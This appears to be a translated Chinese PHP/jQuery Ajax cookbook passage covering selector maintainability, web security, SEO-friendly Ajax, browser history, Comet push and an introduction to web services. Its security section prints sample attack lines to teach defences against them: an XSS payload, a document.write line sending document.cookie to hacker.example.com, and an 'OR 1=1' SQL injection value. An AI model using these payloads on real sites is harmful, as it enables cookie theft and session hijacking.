<a href="#" id="trigger">Hide alert's siblings</a>
</div>
<div id="alert-parent">
<div id="alert-sibling1">
Alert Sibling1
</div>
<div id="alert">
Alert
</div>
<div id="alert-sibling2">
Alert Sibling2
</div>
<div id="alert-sibling3">
Alert Sibling3
</div>
</div>
</body>
</html>
jQuery(document).ready(function($){
$('#trigger').click(function(){
$('#alert').parent().hide();
return false;
});
});

到目前为止,一切都很好。但是,从代码可维护性的角度来看,这种方法是错误的。

如何做...

在 Web 2.0 世界中,网站的设计必须定期更改,以给客户带来新鲜感,UI 设计师必须努力带来新鲜感和更好的可用性。对于前面的标记,让我们假设 UI 设计师在alert容器周围添加了额外的边框。CSS 程序员更容易的方法是将alert容器包装在另一个容器中以获得边框:

<div id="border-of-alert">
<div id="alert">
Alert
</div>
</div>

现在,以前的 JavaScript 功能不像预期的那样工作。CSS 程序员无意中破坏了网站-即使他们能够在alert容器周围添加另一个边框。

这说明了 JavaScript 和 CSS 程序员之间协议和标准的必要性-这样他们就不会无意中破坏网站。这可以通过以下方式实现:

  1. 通过命名约定引入协议

  2. 以不同方式处理情况

它是如何工作的...

我们将看到命名约定和不同方法如何帮助我们在这里。

通过命名约定引入协议:

当 CSS 程序员更改 HTML 标记时,没有线索表明标记与 JavaScript 功能相关联。因此,命名约定和规则就出现了:

  • 所有用于 Ajax 目的的选择器都应该以js-为前缀

  • 每当标记与 JavaScript 功能相关联时,必须在 PHP 级别进行注释(因为 HTML 注释将暴露给最终用户)

请注意,在与 CSS 程序员达成共识后,我们可以引入更多这样的协议。根据我们引入的协议,HTML 标记将需要更改为:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="jquery.min.js">
</script>
<script type="text/javascript" src="no-dependent.js">
</script>
<title>No dependent jQuery - Good</title>
</head>
<body>
<div>
<?php
/*
* Ajax note:
* When js-trigger is clicked, parent and siblings
* of js-alert will hide. "js-alert-parent" is referred
* in JavaScript
*/
?>
<a href="#" id="js-trigger">Hide alert's siblings</a>
</div>
<div id="js-alert-parent">
<div id="alert-sibling1">
Alert Sibling1
</div>
<div id="js-alert">
Alert
</div>
<div id="alert-sibling2">
Alert Sibling2
</div>
<div id="alert-sibling3">
Alert Sibling3
</div>
</div>
</body>
</html>

处理问题陈述:

如果我们直接引用父元素而不是通过alert容器的父元素来隐藏元素,问题的可能性就会降低:

jQuery(document).ready(function($){
$('#js-trigger').click(function(){
$('#js-alert-parent').hide();
return false;
});
});

请注意,在这里,我们没有使用parent()方法。换句话说,如果我们可以避免parent()children()方法对特定标记的使用,我们就相对不太容易使网站崩溃。

还有更多...

一般来说,通过代码搜索很容易找到parent()children()的用法。但是,如果使用是从未知位置触发的,我们可以修改 jQuery 代码以在 Firebug 控制台中抛出通知。

console.warn()

为了警告开发人员不要使用它,我们可以查看 jQuery 核心的parent()方法,并通过 Firebug 的控制台 API 添加警告:

console.warn('Call to parent(). Warning: It may break when HTML code changes');

同样地,我们可以在children()方法中添加一个警告:

console.warn('Call to children(). Warning: It may break when HTML code changes');

构建安全的 Ajax 网站

Ajax 本身并不会产生任何安全风险,但是将网站变成 Ajax 化的方法可能会带来安全风险。这些风险对所有 Web 应用程序都是普遍的。

做好准备

我们需要一个安装了开发人员工具的 Web 浏览器。此目的可能的工具包括带有 Firebug 的 Firefox。

如何做...

在 Ajax 或非 Ajax 基于 Web 的应用程序中一些常见的安全威胁包括 XSS、SQL 注入和会话劫持。我们将看到它们如何被防止。

  1. XSS

XSS 或跨站脚本攻击利用了通过用户输入或某种方式通过 URL 进行网站脚本添加的能力。让我们以允许用户输入其个人简介的流行 Twitter 网站为例。考虑以下输入Bio字段:

<script>alert('XSS');</script>

如果 Twitter 工程师允许 HTML 执行,或者在显示它们之前没有对条目进行净化,它将提示一个带有文本XSS的警报框。在现实世界的情况下,它不会是一个警报框,而可能是恶意活动,比如通过已知 URL 模仿用户输入或窃取用户数据或劫持会话:

ajaxReq('http://example.com/updateUser.php?passwd=xyz');

通常,黑客可能无法直接访问updateUser.php页面;但是 JavaScript 代码可以完全访问,因为它在当前会话范围内。因此,在这里,我们还必须看看我们的架构:

document.write('<img src= "http://hacker.example.com/storeHackedData.php?' + document.cookie + '" />';

有了执行这个恶意代码的能力,黑客可能开始窃取浏览器 cookie。通过 cookie 中的会话 ID,黑客可能劫持用户的会话。

解决方案:

XSS 的可能解决方案包括:

  • strip_tags()

但是,当我们必须显示 HTML 输入时,这可能不是一个好的解决方案。

这个库可以净化 HTML 代码,因此对于 XSS 问题是一个更好的选择。

  1. 会话劫持

如前所述,黑客可能窃取 cookie 数据,从而获取用户的会话 ID。当黑客通过 cookie 编辑工具设置其浏览器的会话值时,黑客将获得对其他用户会话的访问权限。当服务器或脚本被编程为对所有通信使用相同的会话 ID 时,这种威胁通常很常见。

解决方案:

一个可能的快速解决方案是为每个请求生成一个新的会话 ID:

session_regenerate_id()

  1. SQL 注入

当 SQL 查询根据用户输入来获取一些结果,并且如果用户输入没有得到适当的净化,它就会打开改变 SQL 查询的可能性。例如:

$sql = 'SELECT COUNT(*) FROM users WHERE username=\''.$_POST['username'].'\' AND passwd=\''.$_POST['passwd'].'\'';

先前的代码是一个新手的代码,用于验证用户名和密码组合的登录。当发生以下情况时,这种方法会失败得很惨:

$_POST['username'] = 'anything'
$_POST['passwd'] = "anything' OR 1=1"

由于OR 1=1注入而扩展查询为真:

SELECT COUNT(*) FROM users WHERE username='anything' AND passwd='anything' OR 1=1'

解决方案:

SQL 注入的唯一防弹解决方案是使用mysqli扩展和 PDO 包中提供的准备好的语句:

$sql = 'SELECT COUNT(*) FROM users WHERE username=:username AND passwd=:passwd';
$sth = $dbh->prepare($sql);
$sth->bindParam(':username', $_POST['username'], PDO::PARAM_STR);
$sth->bindParam(':passwd', $_POST['passwd'], PDO::PARAM_STR);
$sth->execute();
$count = $sth->fetchColumn();

此外,我们绝不能以明文形式存储密码——我们必须只在数据库中存储加盐哈希。这样,当攻击者以某种方式获得对数据库的访问权限时,我们可以避免密码以明文形式暴露给攻击者。以前,开发人员使用 MD5,然后是 SHA-512 哈希函数,但现在只推荐 bcrypt。这是因为,与其他哈希算法相比,使用 bcrypt 需要更多的时间来破解原始密码。

Ajax 应用程序的常见错误

仅客户端决策:

仅客户端验证、数据绑定和决策是 Ajax 应用程序的常见错误。

仅客户端验证可以很容易地通过禁用 JavaScript 或通过 cURL 直接请求攻击 URL 来破坏。

在购物车中,优惠券的折扣或优惠券验证必须在服务器端完成。例如,如果购物车页面提供优惠券代码的折扣,优惠券代码的有效性必须在服务器端决定。在客户端 JavaScript 中检查优惠券代码的模式是一个不好的方法——用户可以通过查看 JavaScript 代码找出优惠券代码的模式并生成任意数量的优惠券!同样,要支付的最终金额必须在服务器端决定。在下订单时,将最终应付金额保留在隐藏的表单字段或只读输入字段中而不验证应付金额和已付金额是一个不好的方法。很容易通过浏览器扩展(如 Firebug 和 Web Developer 扩展)更改任何表单字段——无论是隐藏的还是只读的。

解决方案:

解决方案是始终在服务器端决定而不是在客户端。请记住,即使是包装在 JavaScript 中的任何东西——甚至是神秘的逻辑——也已经暴露给了世界。

代码架构问题:

糟糕的架构代码和逻辑不良的代码是一个很大的风险。它们经常暴露意外的数据。

让我们看http://example.com/user.php?field=email&id=2。这个脚本被编写来返回用户表中给定idfield参数引用的值。这个代码架构的意外攻击是能够通过例如http://example.com/user.php?field=passwd&id=2来暴露任何字段,包括密码和其他敏感数据。

其他这样的数据暴露可能性是通过 Web 2.0 网站中常见的 Web 服务产生的。当对数据访问没有限制时,用户可以通过 Web 服务窃取数据,即使他们无法在主要网站上访问它。Web 服务通常以 JSON 或 XML 的形式暴露数据,这使得黑客可以轻松地进行窃取。

解决方案:

这些问题的解决方案是:

  • 白名单和黑名单请求:

通过维护一个可以允许或拒绝的请求列表,可以最小化攻击。

  • 请求的限制:

请求可以通过访问令牌进行速率限制,这样黑客就无法获取更多的数据。

  • 从一开始改进代码架构:

当架构和框架从一开始就计划针对 Ajax 和 Web 2.0 时,这些问题可以被最小化。显然,每种架构都可能有自己的问题。

它是如何工作的...

XSS 是在其他用户查看页面时执行 JavaScript 代码的能力。通过这种方式,攻击者可以执行/触发意外的 URL。此外,攻击者可以窃取会话 cookie 并将其发送到自己的网页。一旦会话 cookie 在攻击者的网页上可用,他或她就可以使用它来劫持会话——而无需知道其他用户的登录详细信息。当 SQL 语句没有得到适当的转义时,原始的预期语句可以通过表单输入进行更改;这被称为 SQL 注入。

以下表格显示了 Web 浏览器在处理从www.example.com/page.html到不同 URL 的 Ajax 请求时遵循的同源策略:

URL 访问
http://subdomain.example.com/page.htm 不允许。不同的主机
http://example.com/page.html 不允许。不同的主机
http://www.example.com:8080/page.html 不允许。不同的端口
"http://www.example.com/dir/page.html" 允许。相同的域,协议和端口
https://www.example.com/page.html 不允许。不同的协议

在 Web 浏览器中严格遵循政策以避免 Ajax 中的任何直接安全风险。其他可能的安全风险对所有基于 Web 的应用程序都是普遍的,并源于常见的错误。通过适当的安全审计,我们可以避免进一步的风险。

还有更多...

通常,通过自动化审核工具来避免安全风险比手动代码检查更容易。有一些开源工具可用于减轻安全问题。

Exploit-Me

Exploit-Me,网址为labs.securitycompass.com/index.php/exploit-me/,是一套用于测试 XSS、SQL 注入和访问漏洞的安全相关 Firefox 扩展。这是一种快速审核网站的强大的开源方法。

WebInspect

HP 的 WebInspect 网络安全审核工具是一种企业审核工具,可扫描许多漏洞和安全向量。网址为www.fortify.com/products/web_inspect.html

资源

有一些专门致力于 PHP 安全的网站和工具:

  • PHP 安全联盟,网址为phpsec.org/,提供与安全相关的信息。

  • Hardened-PHP 项目的 Suhosin,网址为www.hardened-php.org/suhosin/,提供了一个补丁,用于修补正常 PHP 构建中可能存在的常见安全漏洞。

  • mod_security Apache 模块,网址为www.modsecurity.org/,可以保护服务器免受常见的安全攻击。

构建 SEO 友好的 Ajax 网站

在互联网上,网站及其商业模式大多依赖于搜索引擎。例如,当用户在 Google 搜索引擎中搜索关键词“图书出版”时,如果 Packt 的网站出现在结果的第一页,这对 Packt 来说将是一个优势,特别是当其商业模式依赖于互联网用户时。

搜索引擎,如谷歌,根据一些因素(称为算法)对结果页面进行排序。这些因素包括页面上的关键词密度、页面的受信任的内部链接、网站的流行度等。所有这些都取决于搜索引擎的蜘蛛能够爬取(或到达)网站的内容的程度。如果网站的索引页面没有链接到网站的内部页面,对内部页面有限制访问,或者没有通过搜索引擎蜘蛛在爬取时查找的sitemap.xml文件暴露内部页面,那么这些内容将不会被索引,也无法被搜索到。

依赖搜索引擎结果进行其商业模式的 Web 2.0 网站面临的挑战是,它们必须采用现代的 Ajax 方法来提高最终用户的可用性和留存率,但也需要具有可以被搜索引擎蜘蛛访问和爬取的内容。这就是 Ajax 和 SEO 的作用。

准备就绪

我们需要通过一种不显眼的 JavaScript 方法来逐步增强开发搜索引擎友好的网站。下面将解释这种方法和术语。

如何做…

采用 SEO 友好的 Ajax 的更容易的方法是逐步增强。这使得页面对任何人都可以访问,包括那些不使用浏览器中的 JavaScript 引擎的人。

为了理解这个概念,让我们来看一个案例,我们有一个带有标签的 Ajax UI,标签是从不同的远程页面加载的:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="jquery.min.js">
</script>
<script type="text/javascript" src="script.js">
</script>
<title>Tab - without SEO friendliness</title>
</head>
<body>
<div id="tabs">
<ul>
<li><a id="t1" href="#">Tab 1</a></li>
<li><a id="t2" href="#">Tab 2</a></li>
<li><a id="t3" href="#">Tab 3</a></li>
<li><a id="t4" href="#">Tab 4</a></li>
</ul>
<div id="tab-1">
<p>Tab - 1</p>
</div>
<div id="tab-2">
<p>Tab - 2</p>
</div>
<div id="tab-3">
<p>Tab - 3</p>
</div>
<div id="tab-4">
<p>Tab - 4</p>
</div>
</div>
</body>
</html>
jQuery(document).ready(function($){
$('#t1, #t2, #t3, #t4').click(function(){
//extract the clicked element id's number
// as we have single handler for all ids
id=this.id.match(/\d/);
//load respective tab container with
// respective page like /page3.html
$('#tab-'+id).load('/page'+id+'.html');
return false;
});
});

如前所述,每个标签页的内容都是从page1.html、page2.html等加载的。但是,在检查 HTML 源代码时,无法知道内容加载的 URL;这些 URL 是在 JavaScript 代码中形成的,并且内容是动态加载的。由于大多数搜索引擎爬虫不支持 JavaScript 引擎,并且至少目前无法支持它,它们将错过内容。只有当爬虫可以“查看”内容时,它才能被搜索到。

因此,对于正确的搜索引擎和 SEO 友好性,我们有以下方法:

  • 隐匿:

这是通过嗅探用户代理向搜索引擎蜘蛛呈现不同内容的术语。但是,谷歌等搜索引擎会禁止对其内容进行隐匿的网站,以提高搜索引擎质量。

  • Sitemap.xml:

Sitemap.xml 中为所有内部链接提供链接可能会提高搜索引擎的可访问性。Sitemap.xml 是向谷歌公开站点链接的标准。但是,这还不够,并且不应该意外地与隐匿混合在一起。

  • 内联选项卡:

通过将所有内容倾倒在单个入口页面并使用隐藏和显示,我们可以改善搜索引擎的可访问性。但是,从搜索引擎优化的角度来看,这种解决方案失败了,因为搜索引擎蜘蛛找不到足够的页面。

  • 渐进增强:

这是一种网站将被所有浏览器访问的方法。Ajax 增强不会影响非 JavaScript 浏览器的可见性/可访问性。到目前为止,这是最好的方法,当与 Sitemap.xml 结合使用时,可以提供更好的搜索引擎可见性。

现在,让我们看看渐进增强方法如何实现选项卡系统。为此,我们将使用 jQuery UI 的选项卡库:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" href="http://jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" href="ui.theme.css" type="text/css" media="all" />
<script type="text/javascript" src="jquery.min.js">
</script>
<script type="text/javascript" src="jquery-ui.min.js">
</script>
<script type="text/javascript" src="script.js">
</script>
<title>Tab - with SEO friendliness</title>
</head>
<body>
<div id="tabs">
<ul>
<li><a href="page1.html">Tab 1</a></li>
<li><a href="page2.html">Tab 2</a></li>
<li><a href="page3.html">Tab 3</a></li>
<li><a href="page4.html">Tab 4</a></li>
</ul>
</div>
</body>
</html>
jQuery(document).ready(function($){
$('#tabs').tabs();
});

工作原理...

正如之前所指出的,我们并没有隐藏链接,它们始终是可访问的。当 JavaScript 未启用时,单击链接将带您到单独的页面。这就是搜索引擎“查看”网站的方式。搜索引擎将索引具有单独 URL 的页面,例如 http://example.com/page1.html, http://example.com/page2.html 等等。

注意

Hijax,简单来说,意味着 Hijack + Ajax。这是一种渐进增强技术,其中普通链接被“劫持”,并应用了 Ajax 效果,使网站具有 Ajax 化的感觉。

启用 JavaScript 时,jQuery UI 选项卡会被挂钩;它应用 Hijax 方法,并将链接转换为漂亮的选项卡界面。它还将选项卡链接 Ajax 化,从而在用户单击选项卡时避免页面刷新。

有关 jQuery UI 选项卡的更多信息,请参阅 第三章 中的 创建选项卡导航 配方,使用 jQuery 的有用工具

谷歌的建议

目前,先前的退化 Ajax 方法是搜索引擎友好的 Ajax 的广泛接受的做法。但是,需要注意的一点是,当用户搜索 page2.html 的内容时,搜索引擎将显示链接为 http://example.com/page2.html。对于启用 JavaScript 的浏览器和具有 Ajax 经验的普通用户来说,这样的直接链接不会被暴露。因此,为了所有用户都有一致的 URL,谷歌提出了一个解决方案。这种技术,现在被称为 hashbang,要求所有 Ajax URL 哈希都以 ! 为前缀,并提供访问 Ajax 页面内容的机制,如下所示:

  • http://example.com/index.html#page1 必须更改为 http://example.com/index.html#!page1

  • 当谷歌识别到类似 http://example.com/index.html#!page1 的 Ajax URL 时,它将爬取 http://example.com/index.html?_escaped_fragment_=page1。这个 URL 必须提供 Ajax 内容。

  • 当谷歌在搜索结果页面中列出 URL 时,它将显示 Ajax URL http://example.com/index.html#!page1

通过这种方式,所有用户都可以使用相同的 URL 访问网站。

保留浏览器历史或修复浏览器的返回按钮

保留浏览器历史或修复浏览器的返回按钮

根据基本概念,Ajax 允许用户在不刷新整个浏览器的情况下查看页面。随后的浏览器调用通过 XHR 请求路由,并将结果推送到浏览器窗口。在这种情况下,从用户的角度来看,有两个主要的可用性问题:首先,特定内容无法被书签标记 - 因为我们只有一个 URL,可以从中浏览后续页面而不刷新浏览器;其次,用户无法单击返回按钮返回以前的内容 - 因为页面状态在浏览器中没有改变。

准备工作

我们需要一个带有 Ajax 组件的浏览器来测试功能,以及一个支持 window.onhashchange 事件和 HTML5 的 window.history.pushState() 方法来进行比较。

如何做...

有许多 jQuery 插件可用于解决此问题。由 Benjamin Arthur Lupton 开发的 jQuery History 插件,可在www.balupton.com/projects/jquery-history上获得,通过所有新方法处理历史机制,并为旧版浏览器提供了一个 hack。

考虑以下 HTML 片段,其中包含指向子页面的链接:

<ul>
<li><a href="#/about">About site</a></li>
<li><a href="#/help">Help page</a></li>
</ul>

以下是通过 jQuery History 插件处理状态的片段:

jQuery(document).ready(function($){
// bind a handler for all hash/state changes
$.History.bind(function(state){
alert('Current state: ' + state);
});
// bind a handler for state: about
$.History.bind('/about', function(state){
// update UI changes...
});
// Bind a handler for state: help
$.History.bind('/help', function(state){
// update UI changes...
});
});

该插件提供其他方法来手动更改状态,并触发状态处理程序。

 $('#about').click(function(){
$.History.go('/about');
});

请注意,当用户点击链接"#/about"时,状态将更改为/about。但是,如果我们希望以编程方式更改状态,例如当用户点击div而不是anchor时,如前所示,可以使用go()方法。

当状态不应对用户可见,但我们需要触发状态处理程序时,trigger()方法很有用:

$.History.trigger('/about');

它是如何工作的...

正如我们所指出的,浏览器不保存 Ajax 请求的状态,因此,后退按钮,浏览器历史记录和书签通常不起作用。一个诱人的快速解决方法是使用以下 JavaScript 代码来更改浏览器中的 URL:

window.location.href = 'new URL';

这段代码的问题是它会重新加载浏览器窗口,因此会破坏 Ajax 的目的。

更简单的 pushState()方法:

在支持 HTML5 规范的浏览器中,我们可以使用

  • window.history.pushState()

  • window.history.replaceState()

  • window.onpopstate

window.history.pushState()允许我们更改浏览器中的 URL,但不会让浏览器重新加载页面。该函数接受三个参数:状态对象,标题和 URL。

window.history.pushState({anything: 'for state'}, 'title', 'page.html');

我们还有window.history.replaceState(),它将类似于pushState()工作,但不会添加新的历史记录条目,它将替换当前 URL。

window.onpopstate事件在每次状态更改时触发,即当用户点击后退和前进按钮时。页面重新加载后,popstate事件将停止为页面重新加载之前保留的上一个状态触发。为了访问这些状态,我们可以使用window.history.state,它可以访问页面重新加载之前的状态。

以下片段显示了如何将这些方法组合在一起以快速解决浏览器历史记录问题:

function handleAjax(responseObj,url){
document.getElementById('content').innerHTML = responseObj.html;
document.title=responseObj.pageTitle;
window.history.pushState({
html:responseObj.html,
pageTitle:responseObj.pageTitle
}, '', url);
}
window.onpopstate=function(e){
if (e.state){
document.getElementById('content').innerHTML = e.state.html;
document.title = e.state.pageTitle;
}
};

onhashchange 方法:

解决浏览器历史记录问题的主要方法是通过看起来像#foo的 URL 哈希。使用哈希的主要动机是,通过location.hash更改它不会刷新页面(不像location.href),并且对于某些浏览器还会在浏览器历史记录中添加一个条目。但是,当用户点击后退或前进按钮时,没有简单的机制来查看 URL 哈希是否已更改。window.onhashchange事件已经在较新的浏览器中引入,并且在哈希更改时将被执行。

hashchange事件的可移植性 hack 是通过setInterval()方法不断轮询哈希更改。轮询间隔越短,响应性越好,但使用太短的值会影响性能。

iframe hack 方法:

一些浏览器,特别是 IE6,在哈希更改时不保存状态。因此,在这里,解决方法是创建一个不可见的iframe元素,并更改其src属性以跟踪状态。这是因为浏览器跟踪iframe src更改的状态。因此,当用户点击浏览器的后退或前进按钮时,他们必须轮询iframesrc属性以更新 UI。

结合所有方法:

为了更好的浏览器兼容性和性能,将所有先前的方法结合起来是至关重要的。jQuery History 插件抽象了所有这些方法,并提供了更好的功能。

实现彗星 PHP 和 Ajax

在传统的客户端-服务器通过 HTTP 通信中,对于服务器的每个响应,客户端都会发出请求。换句话说,没有请求就没有响应。

实现彗星 PHP 和 Ajax

Comet、Ajax Push、Reverse Ajax、双向 Web、HTTP 流或 HTTP 服务器推送是用来指代从服务器推送即时数据更改的实现的集体术语。与传统通信不同,在这里,客户端的请求只需一次,所有数据/响应都是从服务器推送的,而不需要客户端进一步的请求调用。

实现彗星 PHP 和 Ajax

通过彗星,我们可以创建 Ajax 聊天和其他实时应用程序。在 HTML5 的 WebSocket API 引入之前,JavaScript 开发人员不得不使用iframe、长轮询 Ajax 等方法进行黑客攻击

有许多可用的彗星技术,包括在 Apache Web 服务器上的纯 JavaScript 方法。但是,在性能和方法方面,开源的 APE(Ajax Push Engine)技术看起来很有前途。APE 有两个组件:

  1. APE 服务器

  2. APE JSF(APE JavaScript 框架)

服务器是用 C 编写的,JavaScript 框架基于 Mootools,但也可以与其他框架一起使用,如 jQuery。 APE 服务器模块可以通过 JavaScript 代码进行扩展。它支持传输方法,如长轮询、XHR 流、JSONP 和服务器发送事件。APE 服务器的一些优点包括:

  • 基于 Apache 的解决方案无法进行真正的推送

  • APE 可以处理超过 100,000 个用户

  • APE 比基于 Apache 的彗星解决方案更快

  • APE 节省了大量带宽

  • APE 提供的选项比简单的彗星解决方案更多

准备就绪

我们的彗星实验需要一个 APE 服务器。建议在 Linux 上安装 APE 服务器,尽管它也可以在带有 VirutalBox 的 Windows 机器上运行。它可以从www.ape-project.org/下载。

我们将不得不在Build/uncompressed/apeClientJS.js中配置 APE 客户端脚本的服务器设置:

//URL for APE JSF...
APE.Config.baseUrl = 'http://example.com/APE_JSF/';
APE.Config.domain = 'auto';
//where APE server is installed...
APE.Config.server = 'ape.example.com';

如何做...

我们将看到如何进行简单的彗星客户端-服务器交互。我们还将看到如何使用 APE 服务器来通过彗星设置向客户端广播消息。在设置彗星之前,我们需要一些基本的 APE 术语理解。

  • 管道:

管道是客户端和服务器之间交换数据的通信管道,是通信系统的核心。有两种主要类型的管道:

  • 多管道或频道

  • Uni 管道或用户

管道由服务器生成的名为 pubid 的 32 个字符的唯一 ID 标识。

  • 频道:

频道是可以由服务器或用户直接创建的通信管道。如果用户订阅不存在的频道,则会自动创建频道。每个频道都有一系列属性,并且有两种工作方式:

  • 交互式频道

  • 非交互式频道

订阅现有交互式频道的用户将收到所有其他订阅该频道的用户列表,并可以通过频道管道直接与它们进行通信。在非交互式频道中,通信是只读的,用户不互相认识,也不能通过频道进行通信。可以通过在频道名称前加上*字符来启动非交互式频道的创建。

  • 用户:

当用户连接到 APE 时,将为与其他实体进行通信创建一个管道,并为管道分配一个唯一的 sessid。该 ID 帮助服务器识别发送每个命令的用户。用户可以执行允许他们:

  • 在管道上为频道或其他用户发布消息

  • 订阅/加入频道

  • 取消订阅/离开频道

  • 创建频道

现在,代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="Build/uncompressed/apeClientJS.js">
</script>
<title>Comet with APE</title>
</head>
<body>
<script type="text/javaScript">
var client = new APE.Client();
//Load APE Core
client.load();
//callback, fired when the Core is loaded and ready
// to connect to APE Server
client.addEvent('load', function(){
//Call start function to connect to APE Server
client.core.start({
'name':prompt('Your name?')
});
});
//wrap rest of the code in ready event
client.addEvent('ready', function(){
alert('Client is connected with APE Server');
//join 'myChannel'. If it doesn't exist,
// it will be created
client.core.join('myChannel');
//when channel is created or
// user has joined existing channel...
client.addEvent('multiPipeCreate', function(pipe, options){
//send the message on the pipe
//other users in myChannel can view this message
pipe.send('Test message on myChannel');
alert('Test message sent on myChannel');
});
// on receipt of new message...
client.onRaw('data', function(raw,pipe){
alert('Receiving : '+unescape(raw.data.msg));
});
});
</script>
</body>
</html>

上述代码将客户端与服务器连接,并将用户加入名为myChannel的频道。当用户加入频道时,它会向频道myChannel上的其他用户发送测试消息。请注意,消息是通过频道名称共享的。

为了从服务器端推送一些消息,APE 提供了一种称为inlinepush的机制。这个inlinepush可以通过调用 APE 服务器的 URL 来触发:

<?php
$APEserver = 'http://ape.example.com/?';
$APEPassword = 'mypassword';
$cmd = array(array(
'cmd' => 'inlinepush',
'params' => array(
'password' => $APEPassword,
'raw' => 'postmsg',
'channel' => 'myChannel',
'data' => array(
'message' => 'My message from PHP'
)
)
));
//trigger request via curl or file_get_contents()...
// request params are in JSON
$data = file_get_contents($APEserver.rawurlencode(json_encode($cmd)));
$data = json_decode($data); // JSON response
if ($data[0]->data->value == 'ok') {
echo 'Message sent!';
} else {
echo 'Error, server response:'. $data;
}
?>

它是如何工作的...

APE 的底层协议使用 JSON 进行数据传输。从客户端到服务器的连接是通过 APE 的start()方法来初始化的。加入频道或创建新频道是通过join()方法来初始化的。然后通过send()方法将消息传递给频道上其他用户。应该打开多个浏览器窗口或标签页,以查看从一个窗口传输到其他窗口的消息。

APE 的inlinepush机制提供了一种在不使用客户端的情况下向频道用户推送消息的方式。这样的推送可以通过调用带有命令的 JSON 编码的 URL 来启动。从 PHP,这样的 URL 可以通过 cURL 调用或简单的file_get_contents()调用来触发。

第八章:Ajax 混搭

在本章中,我们将涵盖以下主题:

  • 网络服务

  • XML-RPC

  • 使用 PHP 创建和使用网络服务

  • 使用 Flickr API 与 Ajax

  • 使用 Twitter API 与 Ajax

  • 使用 Google Ajax API 翻译文本

  • 使用 Google 地图

  • 在 Google 地图中搜索位置

  • 在 Google 地图上搜索 XX 公里半径内的位置,带有标记和信息窗口

  • 带标记和信息窗口的地图

  • 使用 IP 地址查找城市/国家

  • 使用 Ajax 和 PHP 转换货币

如今,对网络服务的了解是 Web 开发人员的重要素质之一。在本章中,我们首先介绍了如何使用流行网站提供的网络服务。

首先,我们将学习 SOAP、REST 和 XML-RPC 等流行网络服务格式的介绍。在该部分之后,我们将学习如何与各种流行的 Web 应用程序的 API 进行交互,如 Flickr、Twitter、Google 翻译、Google 地图和使用 foxrate.org 的 XML-RPC API 的货币转换器。

网络服务

在典型的基于 Web 的应用程序中,Web 客户端(通常是浏览器)向 Web 服务器发送 HTTP 请求,Web 服务器通过 HTTP 协议将响应发送给客户端。

例如,假设您想获取特定城市的天气报告。在这种情况下,您可以访问新闻门户网站,并通过 HTML 搜索您城市的天气报告。

但是,网络服务的工作方式不同。与上面提到的通过 HTML 页面访问信息不同,网络服务会导致服务器公开应用程序逻辑,客户端可以以编程方式使用。简单来说,这意味着服务器公开了一组客户端可以调用的 API(即函数)。因此,网络服务是服务器上公开的应用程序,客户端可以通过互联网访问。

由于使用网络服务公开的 API 应该是平台无关的,因此在客户端和服务器之间的通信中通常使用 XML 和 JSON。服务器公开的一组函数通常使用一种称为 Web 服务描述语言(WSDL)的语言来描述。

网络服务是一组可以以多种方式使用的工具。最常见的三种使用方式是 REST、XML-RPC 和 SOAP。

在创建 Web 小部件时,我们可能需要使用各种网络服务标准,让我们浏览一下这些技术。

SOAP

SOAP,以前定义为简单对象访问协议,是访问 Internet 上远程过程的最流行方法之一。它是一种使用 HTTP 和 HTTPS 协议通常从客户端到服务器交换基于 XML 的消息的协议。以 XML 格式公开的 SOAP 过程可以使用 SOAP 协议从客户端使用。

SOAP 是一种基于 XML 的消息传递协议。XML 格式的 SOAP 请求包含以下主要部分:

  1. 一个信封,它将文档定义为 SOAP 请求。

  2. 一个 Body 元素,其中包含有关过程调用的信息,包括参数和预期响应。

  3. 可选头和故障元素,这些元素包含有关 SOAP 请求的补充信息。

SOAP 过程的典型示例是一个网站公开一个名为addTwoNumbers()的函数,用于添加两个数字并将响应发送给 SOAP 客户端。由于 SOAP 的请求和响应使用 XML 格式发送,它们是平台无关的,并且可以从远程服务器调用。

SOAP 因其复杂性而受到批评,需要对远程调用进行序列化,然后构造一个 SOAP 信封来包含它。由于这种复杂性,REST 方式正在成为使用网络服务的流行方式。

REST

REST 代表表现状态转移,可能是创建和利用 Web 服务的最流行的方式。这是一种简单而强大的创建和消费 Web 服务的方法。REST 有时被称为RESTful Web 服务。RESTful Web 服务使用 HTTP 或类似的协议,通过将接口限制为标准操作(如 GET、POST 和 PUT 方法)来进行交互。REST 侧重于与有状态资源交互,而不是消息或操作。

RESTful Web 服务的两个主要原则是:

  • 资源由 URL 表示。资源可以被视为用户可以作为 Web 服务的 API 访问的实体。REST 应用程序中的每个资源都有一个唯一的 URL。

  • RESTful Web 服务中的操作是通过标准的 HTTP 操作进行的,例如 GET、POST 和 PUT。

让我们看一个例子来理解 REST 原则。假设我们有一个市场网站,商家可以上传、查看和删除产品。让我们看一下前面示例的 Web 服务的 RESTful 接口。

  • 可以从唯一的 URL 访问每个产品的详细信息。假设它是marketplace-website.com/product/123,可以使用 HTTP GET 方法从前面的 URL 获取产品的详细信息。

  • 可以使用 HTTP POST 方法将新产品发布到网站,服务器在特定 URL 指定的服务器响应中提供有关产品上传的信息。

  • 可以使用 HTTP DELETE 方法来删除网站上的特定产品,使用唯一的 URL 进行此操作。

XML-RPC

XML-远程过程调用是提供和消费 Web 服务的另一种方式。 XML-RPC 使用 XML 来编码服务的请求和响应,使用 HTTP 作为它们的传输介质。

XML-RPC 是一种非常简单的协议,用于使用和消费 Web 服务。它有一套明确定义过程、数据类型和命令的 XML 格式。XML-RPC 旨在尽可能简单。它允许使用其过程传输、处理和返回复杂的数据结构。让我们看一下使用 XML-RPC 调用远程过程的 XML 请求格式,然后看一下服务器以 XML-RPC 格式返回的响应。

<?xml version="1.0"?>
<methodCall>
<methodName>examples.getProductName</methodName>
<params>
<param>
<value><int>10</int></value>
</param>
</params>
</methodCall>

